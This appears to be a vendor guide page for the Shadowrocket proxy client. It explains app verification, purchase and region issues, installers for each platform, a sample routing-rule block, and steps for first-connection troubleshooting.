Official siteOfficial guide

Shadowrocket
Get, Configure, and Connect

Cross-platform proxy client with rules for routing based on your existing connection details. iPhone / iPad costs $2.99 once on the App Store; Mac, Windows, Android, and Linux versions are free.

Current version v2.2.92 · Mac, Windows, Android, and Linux versions are free

iPhone / iPad $2.99 one-time · Free on other platforms

Verify the app and understand the purchase

Confirm the app’s identity first, then distinguish getting the client from obtaining a connection service. Shadowrocket is a closed-source commercial app, and this is its official website and guide.

932747118

Check the product page and icon

On iPhone / iPad, open the App Store product page linked from the download page. Confirm that the app is named Shadowrocket and check the app ID at the end of the product URL. Compare the store icon with the official icon in this site’s header; do not rely on a similar name in search results.

Review the product page description and compatibility details before installing. For iPhone / iPad, check the App Store page for system requirements. If the app does not appear in search, first confirm the account’s store region, then check availability in that region.

See how to verify the app →

Shadow Launch Technology Limited

Check the developer and purchase account

Find the developer details on the product page and verify the name exactly: Shadow Launch Technology Limited. Check the name, icon, and app ID together rather than relying on only one detail. Download desktop and Android installers from this site’s download page; installer files use this site’s /dl/shadowrocket/ path.

Confirm which account is currently used for the App Store before purchasing. Restoring a previous purchase requires the original purchase account; other service accounts signed in on the device are not necessarily the account associated with the store purchase.

See how to restore a purchase →

Two ways to get it, usable across devices

The iPhone / iPad version costs $2.99 once on the App Store. The same purchase account can restore it from purchased items on either device. Mac (Apple Silicon and Intel), Windows, Android, and Linux versions are free. The store displays the actual amount in local currency; check the checkout page before paying. Changing devices does not necessarily mean buying again: first check the original account’s purchase history and the app’s availability.

Store region and update methods

The app is currently unavailable on the mainland China App Store. If the product page is unavailable, check the account’s country or region settings. Before changing them, address requirements such as account balance, active subscriptions, and payment methods; device language does not determine store region. App Store manages updates on iPhone / iPad. For other platforms, get the latest installer from this site’s download page and back up existing configurations and connection settings before upgrading.

Buying the client does not include a connection plan

The client reads connection settings, applies rules, and establishes connections; it does not include servers or subscriptions. This site does not provide, sell, or recommend servers or subscriptions. To configure the app, you need your own existing subscription or server details. Confirm the address, port, credentials, and protocol settings with your own service provider. Subscription validity, data allowance, and server availability are managed separately from the client purchase.

Get Shadowrocket for your device

iPhone / iPad costs $2.99 once on the App Store; Mac, Windows, Android, and Linux versions are free. Check your device and architecture, then follow the first-launch instructions for your platform.

iPhone / iPad

App Store: $2.99 once; other platforms are free.

Both devices share purchase history for the same account. Check the App Store page for system requirements. On first launch, follow the system prompt to allow adding a VPN configuration. This permission creates a system connection entry; you still need to import your own existing server or subscription to connect.

If you have already purchased the app but still see a price, first confirm the store account and then check purchased items; do not pay again immediately. An unavailable store page and a failed server connection are different issues, so check region and connection settings separately.

Mac

Free · Apple Silicon / Intel

Check the chip or processor in About This Mac, then choose the matching DMG. Separate versions are available for Apple Silicon and Intel. Do not infer the architecture from the computer’s appearance or purchase year, or apply the iPhone / iPad store purchase method to the Mac installer.

If the first launch says the developer cannot be verified, confirm that the file came from this site, then check “Open Anyway” under “Privacy & Security” in System Settings. For other blocking messages, read the full prompt and follow the relevant download-page steps; do not disable system protection altogether.

Windows

Free · 64-bit installer

The download page provides a 64-bit Windows installer. Save any configuration you are editing first, and confirm the file was downloaded from this site’s /dl/ path. If SmartScreen blocks the launch, confirm the file’s source, select “More info,” then choose “Run anyway” as prompted.

After the first connection, test the target website and check which rules match. A running client does not guarantee that traffic is being routed as expected. Check the current connection mode, selected server, and rules to determine whether the issue is with installation, permissions, or the server.

Android

Free · arm64 installer

Get the arm64 installer as described on the download page. If the system asks to allow unknown apps, enable the required permission only for the browser or file manager you are using. You can turn off installation permission for that source afterward. Also confirm the system VPN authorization prompt when connecting.

If you open the download page in WeChat, follow the instructions to switch to the system browser. If the connection drops after the screen locks, check battery management and background activity limits. First confirm that the connection works in the foreground so background restrictions are not confused with incorrect settings.

Linux

Free · deb / rpm / AppImage

Choose a format based on your distribution and processor architecture: use deb for Debian and Ubuntu-based systems, rpm for Fedora-based systems, or AppImage for general use. Package format and architecture are separate requirements; a suitable file extension alone does not ensure compatibility.

AppImage requires execute permission on first run; see the download page for local installation commands and dependency handling for deb and rpm. If the terminal reports an error, keep the full output and check permissions, dependencies, and the runtime environment separately. Changing connection settings repeatedly will not solve an installation-stage problem.

Core features and where to configure them

The examples below use the iPhone / iPad interface. Understand the separate roles of servers, configurations, and the connection switch before adding rules and automation. Exact interface details vary by platform.

Rules are evaluated in order

Rule determines which policy handles a request. In Config, check the active configuration, put more specific conditions first, and use FINAL to specify how unmatched requests are handled. DOMAIN-SUFFIX matches domain suffixes; IP-CIDR matches address ranges. PROXY and DIRECT specify different destinations, not server names. Rules are applied only when Global Routing is set to Config. After editing, test with a real request to confirm which rule matches. Change one group of conditions at a time to spot rules overridden by order or scopes that are too broad.

[Rule]
DOMAIN-SUFFIX,example.com,PROXY
IP-CIDR,192.168.0.0/16,DIRECT
FINAL,DIRECT

Three checks for your first connection

Using iPhone / iPad as an example, start with existing settings and establish a verifiable connection. Get a stable result before adding complex rules; do not change the protocol, DNS, and routing method all at once.

  1. 01 / IMPORT

    Add an existing connection in Home

    Prepare your own subscription URL or server address, port, and credentials. In Home, use Add Server and enter the details for the relevant protocol; if you already have a QR code, use Scan QR Code. After importing, check the entry in the SERVER group and confirm that its address and protocol match the original details. A successful save only means the entry was added; it does not mean the server is available.

    If the expected entry does not appear, check the import format, URL completeness, and subscription availability. For manual entry, pay close attention to the port, password capitalization, and extra spaces. QR code contents should also come from your own existing service details. Do not create duplicate entries repeatedly instead of checking the fields.

  2. 02 / ROUTING

    Check the mode in Global Routing

    To route traffic by rules, select Config and confirm that the expected configuration is selected in Config. Proxy and Direct can help you compare results during testing, but restore the mode you need for everyday use afterward. example.com in the sample rules illustrates syntax only; it is not a usable server or a substitute for real connection settings.

    To send some websites through PROXY and others through DIRECT, list the specific domains first and check whether an earlier rule takes precedence. Domain rules are not app-level switches; an app may access multiple domains. A page connecting directly does not mean every request from that app uses the same policy. Verify individual requests rather than relying only on the app name.

  3. 03 / VERIFY

    Allow the system configuration and verify a request

    Select a server, turn on the connection switch, and follow the system prompt to allow adding a VPN configuration. Then run Connectivity Test and visit the target you want to check. A normal system connection status is only one checkpoint: also confirm that the target is reachable and the rule routes it as expected. For the first test, keep the network environment unchanged; do not switch between Wi-Fi and cellular before confirming the result.

    If a request times out, first check that your existing service is active and the settings match. If only some websites fail, check rules and DNS; if the issue starts after a network change, check On Demand and the network environment. Change one condition per test and record the results. When asking for help, describe the steps to reproduce the issue and hide credentials; this is more useful than a screenshot showing only connection status.

Routine maintenance after connecting

Keep a copy of a verified working configuration. Back it up before making changes and record why each change was made. Updating a subscription, switching servers, and changing rules are separate actions: a subscription update reloads remote entries, switching servers changes the current exit, and changing rules determines where requests go. Distinguishing these actions helps avoid repeated imports and unnecessary settings changes.

If the app is restored on a new device but its entries are missing, check your configuration backup or sync status; purchase history is not a backup of connection settings. When retiring a device, remove its subscriptions and credentials securely. Configuration files, logs, and QR codes may contain sensitive information. Review each item before sharing, and do not publish complete files on public pages.

For common issues, start with the FAQ categories. To understand Settings, Data, and configuration maintenance step by step, continue to the beginner-to-advanced official guide. Return to the download page for installation and first-launch issues; use the guide sections for rules and connections to avoid trying unrelated settings repeatedly.

Installation and connection guides

Start with a specific situation: determine whether the issue involves installation, settings, or rules, then follow the relevant steps. These three articles cover Linux package formats, first launch on desktop, and what latency tests can tell you.